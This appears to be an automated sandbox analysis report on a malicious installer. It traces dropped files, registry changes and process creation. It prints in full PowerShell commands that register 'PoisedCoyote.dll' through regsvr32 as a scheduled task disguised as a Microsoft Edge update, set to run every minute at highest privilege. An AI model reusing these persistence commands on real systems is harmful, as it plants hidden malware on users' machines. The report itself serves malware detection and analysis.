Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kdscli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kdscli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Section loaded: apphelp.dll
Source: C:\Windows\System32\regsvr32.exe	Section loaded: aclayers.dll
Source: C:\Windows\System32\regsvr32.exe	Section loaded: sfc.dll
Source: C:\Windows\System32\regsvr32.exe	Section loaded: sfc_os.dll
Source: C:\Windows\System32\regsvr32.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\regsvr32.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\regsvr32.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\regsvr32.exe	Section loaded: netapi32.dll
Source: C:\Windows\System32\regsvr32.exe	Section loaded: pdh.dll
Source: C:\Windows\System32\regsvr32.exe	Section loaded: powrprof.dll
Source: C:\Windows\System32\regsvr32.exe	Section loaded: propsys.dll
Source: C:\Windows\System32\regsvr32.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\regsvr32.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\regsvr32.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\regsvr32.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\regsvr32.exe	Section loaded: samcli.dll
Source: C:\Windows\System32\regsvr32.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\regsvr32.exe	Section loaded: umpdc.dll
Source: C:\Windows\System32\regsvr32.exe	Section loaded: perfos.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kdscli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll

Source: C:\Users\user\AppData\Local\Temp\is-B2398.tmp\file.tmp

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\InProcServer32

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\is-B2398.tmp\file.tmp

Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion RegisteredOwner

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\is-B2398.tmp\file.tmp

Window found: window name: TMainForm

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\regsvr32.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\is-KCPL5.tmp\file.tmp

Registry value created: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Little Leg_is1

Jump to behavior

Source: file.exe

Static file information: File size 1769630 > 1048576

Data Obfuscation

Suspicious powershell command line found

Source: C:\Windows\System32\regsvr32.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command "if (Get-ScheduledTask \| Where-Object { $_.Actions.Execute -eq 'regsvr32' -and $_.Actions.Arguments -eq '/S /i:INSTALL C:\Users\user\AppData\Roaming\PoisedCoyote.dll' }) { exit 0 } else { exit 1 }"
Source: C:\Windows\System32\regsvr32.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" "Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute \"regsvr32\" -Argument \"/S /i:INSTALL C:\Users\user\AppData\Roaming\PoisedCoyote.dll\") -Trigger (New-ScheduledTaskTrigger -Once -At (Get-Date).AddMinutes(1) -RepetitionInterval (New-TimeSpan -Minutes 1)) -TaskName 'MicrosoftEdgeUpdateTaskMachineUA{D7C2DB06-FCF6-4992-AF37-53F140CD5A88}' -Description 'Default' -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DontStopIfGoingOnBatteries) -RunLevel Highest"
Source: C:\Windows\System32\regsvr32.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command "if (Get-ScheduledTask \| Where-Object { $_.Actions.Execute -eq 'regsvr32' -and $_.Actions.Arguments -eq '/S /i:INSTALL C:\Users\user\AppData\Roaming\PoisedCoyote.dll' }) { exit 0 } else { exit 1 }"
Source: C:\Windows\System32\regsvr32.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command "if (Get-ScheduledTask \| Where-Object { $_.Actions.Execute -eq 'regsvr32' -and $_.Actions.Arguments -eq '/S /i:INSTALL C:\Users\user\AppData\Roaming\PoisedCoyote.dll' }) { exit 0 } else { exit 1 }"	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" "Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute \"regsvr32\" -Argument \"/S /i:INSTALL C:\Users\user\AppData\Roaming\PoisedCoyote.dll\") -Trigger (New-ScheduledTaskTrigger -Once -At (Get-Date).AddMinutes(1) -RepetitionInterval (New-TimeSpan -Minutes 1)) -TaskName 'MicrosoftEdgeUpdateTaskMachineUA{D7C2DB06-FCF6-4992-AF37-53F140CD5A88}' -Description 'Default' -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DontStopIfGoingOnBatteries) -RunLevel Highest"	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command "if (Get-ScheduledTask \| Where-Object { $_.Actions.Execute -eq 'regsvr32' -and $_.Actions.Arguments -eq '/S /i:INSTALL C:\Users\user\AppData\Roaming\PoisedCoyote.dll' }) { exit 0 } else { exit 1 }"

Source: C:\Windows\System32\regsvr32.exe

Code function: 16_2_00007FFDFB206890 memset,GetModuleHandleA,LoadLibraryA,GetProcAddress,GetModuleHandleA,GetProcAddress,AddVectoredExceptionHandler,NtQueryInformationProcess,NtQuerySystemInformation,NtOpenThread,NtGetContextThread,NtSetContextThread,NtClose,

16_2_00007FFDFB206890

Source: is-D8FFC.tmp.6.dr

Static PE information: section name: .xdata

Source: C:\Users\user\AppData\Local\Temp\is-KCPL5.tmp\file.tmp

Process created: C:\Windows\SysWOW64\regsvr32.exe "regsvr32.exe" /s /i:INSTALL "C:\Users\user\AppData\Roaming\\PoisedCoyote.dll"

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 9_2_00007FFD9B0BD2A5 pushad ; iretd	9_2_00007FFD9B0BD2A6
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 9_2_00007FFD9B1D792B push ebx; retf	9_2_00007FFD9B1D796A
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 14_2_00007FFD9B0DD2A5 pushad ; iretd	14_2_00007FFD9B0DD2A6
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 14_2_00007FFD9B1FB042 push eax; ret	14_2_00007FFD9B1FB051

Source: C:\Users\user\AppData\Local\Temp\is-KCPL5.tmp\file.tmp	File created: C:\Users\user\AppData\Local\Temp\is-5SLSV.tmp\_isetup\_shfoldr.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-KCPL5.tmp\file.tmp	File created: C:\Users\user\AppData\Local\is-DOVSB.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-B2398.tmp\file.tmp	File created: C:\Users\user\AppData\Local\Temp\is-B0R75.tmp\_isetup\_setup64.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-KCPL5.tmp\file.tmp	File created: C:\Users\user\AppData\Roaming\is-D8FFC.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-B2398.tmp\file.tmp	File created: C:\Users\user\AppData\Local\Temp\is-B0R75.tmp\_isetup\_shfoldr.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Temp\is-B2398.tmp\file.tmp	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Temp\is-KCPL5.tmp\file.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-KCPL5.tmp\file.tmp	File created: C:\Users\user\AppData\Local\unins000.exe (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-KCPL5.tmp\file.tmp	File created: C:\Users\user\AppData\Local\Temp\is-5SLSV.tmp\_isetup\_setup64.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-KCPL5.tmp\file.tmp	File created: C:\Users\user\AppData\Roaming\PoisedCoyote.dll (copy)	Jump to dropped file

Hooking and other Techniques for Hiding and Protection

Loading BitLocker PowerShell Module

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1

Source: C:\Users\user\Desktop\file.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-B2398.tmp\file.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-B2398.tmp\file.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-B2398.tmp\file.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-B2398.tmp\file.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-B2398.tmp\file.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-B2398.tmp\file.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-KCPL5.tmp\file.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-KCPL5.tmp\file.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-KCPL5.tmp\file.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-KCPL5.tmp\file.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-KCPL5.tmp\file.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-KCPL5.tmp\file.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-KCPL5.tmp\file.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
